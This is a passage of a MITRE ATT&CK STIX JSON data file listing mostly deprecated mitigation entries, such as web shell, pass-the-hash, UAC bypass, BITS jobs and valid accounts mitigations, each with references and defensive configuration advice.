"course-of-action--ba06d68a-4891-4eb5-b634-152e05ec60ee", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1030", "external_id": "T1030"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}], "modified": "2019-07-24T19:05:56.488Z", "name": "Data Transfer Size Limits Mitigation", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. 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(2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A"}], "modified": "2019-07-25T12:34:23.847Z", "name": "Web Shell Mitigation", "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1075", "url": "https://attack.mitre.org/mitigations/T1075", "source_name": "mitre-attack"}, {"url": "https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml", "source_name": "GitHub IAD Secure Host Baseline UAC Filtering", "description": "NSA IAD. (2017, January 24). MS Security Guide. Retrieved December 18, 2017."}], "modified": "2019-07-25T11:21:20.411Z", "name": "Pass the Hash Mitigation", "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--bd2554b8-634f-4434-a986-9b49c29da2ae", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1063", "url": "https://attack.mitre.org/mitigations/T1063", "source_name": "mitre-attack"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. 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(Citation: TechNet Applocker vs SRP)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1088", "external_id": "T1088"}, {"source_name": "Github UACMe", "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", "url": "https://github.com/hfiref0x/UACME"}], "modified": "2019-07-24T14:13:23.637Z", "name": "Bypass User Account Control Mitigation", "description": "Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). \n\nCheck for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1015", "url": "https://attack.mitre.org/mitigations/T1015", "source_name": "mitre-attack"}, {"source_name": "TechNet RDP NLA", "description": "Microsoft. (n.d.). Configure Network Level Authentication for Remote Desktop Services Connections. Retrieved June 6, 2016.", "url": "https://technet.microsoft.com/en-us/library/cc732713.aspx"}, {"source_name": "TechNet RDP Gateway", "description": "Microsoft. (n.d.). Overview of Remote Desktop Gateway. Retrieved June 6, 2016.", "url": "https://technet.microsoft.com/en-us/library/cc731150.aspx"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"}, {"url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. 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(Citation: TechNet RDP NLA)\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. 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Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--c61e2da1-f51f-424c-b152-dc930d4f2e70", "type": "course-of-action", "created": "2019-02-01T14:35:39.565Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1480", "source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1480"}], "modified": "2019-07-24T19:17:09.258Z", "name": "Environmental Keying Mitigation", "description": "This technique likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--c61fee9f-16fb-4f8c-bbf0-869093fcd4a6", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1134", "external_id": "T1134"}, {"source_name": "Microsoft Create Token", "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.", "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object"}, {"source_name": "Microsoft Replace Process Token", "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.", "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token"}], "modified": "2019-07-24T14:29:27.367Z", "name": "Access Token Manipulation Mitigation", "description": "Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)\n\nAlso limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--c620e3a1-fff5-424f-abea-d2b0f3616f67", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1082", "url": "https://attack.mitre.org/mitigations/T1082", "source_name": "mitre-attack"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"}, {"url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"source_name": "Corio 2008", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. 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(Citation: TechNet Applocker vs SRP)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--c7e49501-6021-414f-bfa1-94519d8ec314", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1221", "external_id": "T1221"}, {"url": "https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6", "description": "Microsoft. (n.d.). Enable or disable macros in Office files. Retrieved September 13, 2018.", "source_name": "Microsoft Disable Macros"}, {"source_name": "Anomali Template Injection MAR 2018", "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.", "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104"}], "modified": "2019-07-25T12:27:19.577Z", "name": "Template Injection Mitigation", "description": "Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations including training users to identify social engineering techniques and spearphishing emails. Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads. (Citation: Anomali Template Injection MAR 2018)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--c861bcb1-946f-450d-ab75-d4e3c1103a56", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1194", "external_id": "T1194"}], "modified": "2019-07-25T12:00:12.285Z", "name": "Spearphishing via Service Mitigation", "description": "Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.\n\nBecause this technique involves use of legitimate services and user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--c88151a5-fe3f-4773-8147-d801587065a4", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1017", "external_id": "T1017"}], "modified": "2019-07-24T14:05:33.227Z", "name": "Application Deployment Software Mitigation", "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--c95c8b5c-b431-43c9-9557-f494805e2502", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1045", "url": "https://attack.mitre.org/mitigations/T1045", "source_name": "mitre-attack"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"}, {"url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"source_name": "Corio 2008", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. 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(Citation: TechNet Applocker vs SRP)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--cb825b86-3f3b-4686-ba99-44878f5d3173", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1197", "external_id": "T1197"}, {"source_name": "Mondok Windows PiggyBack BITS May 2007", "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.", "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/"}, {"source_name": "Symantec BITS May 2007", "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.", "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update"}, {"source_name": "Microsoft BITS", "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.", "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx"}], "modified": "2019-07-24T14:08:16.317Z", "name": "BITS Jobs Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)\n\nModify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.\n\nConsider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)\n\nConsider reducing the default BITS job lifetime in Group Policy or by editing the <code>JobInactivityTimeout</code> and <code>MaxDownloadTime</code> Registry values in <code> HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS</code>. (Citation: Microsoft BITS)", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--cba5667e-e3c6-44a4-811c-266dbc00e440", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1181", "url": "https://attack.mitre.org/mitigations/T1181", "source_name": "mitre-attack"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. 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(Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1001", "external_id": "T1001"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. 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Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--d45f03a8-790a-4f90-b956-cd7e5b8886bf", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1078", "external_id": "T1078"}, {"source_name": "Microsoft Securing Privileged Access", "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.", "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach"}, {"source_name": "TechNet Credential Theft", "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx"}, {"source_name": "TechNet Least Privilege", "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx"}, {"description": "US-CERT. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA13-175A", "source_name": "US-CERT Alert TA13-175A Risks of Default Passwords on the Internet"}], "modified": "2021-04-05T19:21:28.924Z", "name": "Valid Accounts Mitigation", "description": "Take measures to detect or prevent techniques such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. \n\nFollow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access) \n\nAudit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. \n\nApplications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured. ", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1133", "external_id": "T1133"}], "modified": "2019-07-24T19:27:15.659Z", "name": "External Remote Services Mitigation", "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--d5dce4b9-f1fa-4c03-aff9-ce177246cb64", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "T1035", "url": "https://attack.mitre.org/mitigations/T1035", "source_name": "mitre-attack"}, {"source_name": "Beechey 2010", "description": "Beechey, J. (2010, December). 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(2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"}, {"url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "source_name": "Windows Commands JPCERT"}, {"url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", "source_name": "NSA MS AppLocker"}, {"source_name": "Corio 2008", "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. 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Retrieved March 15, 2019.", "url": "https://www.ready.gov/business/implementation/IT", "source_name": "Ready.gov IT DRP"}], "modified": "2019-07-25T12:02:27.102Z", "name": "Stored Data Manipulation Mitigation", "description": "Identify critical business and system processes that may be targeted by adversaries and work to secure the data related to those processes against tampering. Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk. Consider encrypting important information to reduce an adversaries ability to perform tailor data modifications. Where applicable, examine using file monitoring software to check integrity on important files and directories as well as take corrective actions when unauthorized changes are detected. \n\nConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "type": "course-of-action", "created": "2019-06-11T16:45:19.740Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "M1042", "url": "https://attack.mitre.org/mitigations/M1042"}], "modified": "2020-03-31T13:12:04.776Z", "name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--ec418d1b-4963-439f-b055-f914737ef362", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1118", "external_id": "T1118"}], "modified": "2019-07-24T19:43:58.738Z", "name": "InstallUtil Mitigation", "description": "InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", "x_mitre_deprecated": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "course-of-action--ec42d8be-f762-4127-80f4-f079ea6d7135", "type": "course-of-action", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/mitigations/T1054", "external_id": "T1054"}, {"url": "https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal", "description": "Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.", "source_name": "Microsoft ETW May 2018"}], "modified": "2019-07-24T19:39:30.292Z", "name": "Indicator Blocking Mitigation", "description": "Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls. Consider automatically relaunching forwarding mechanisms at 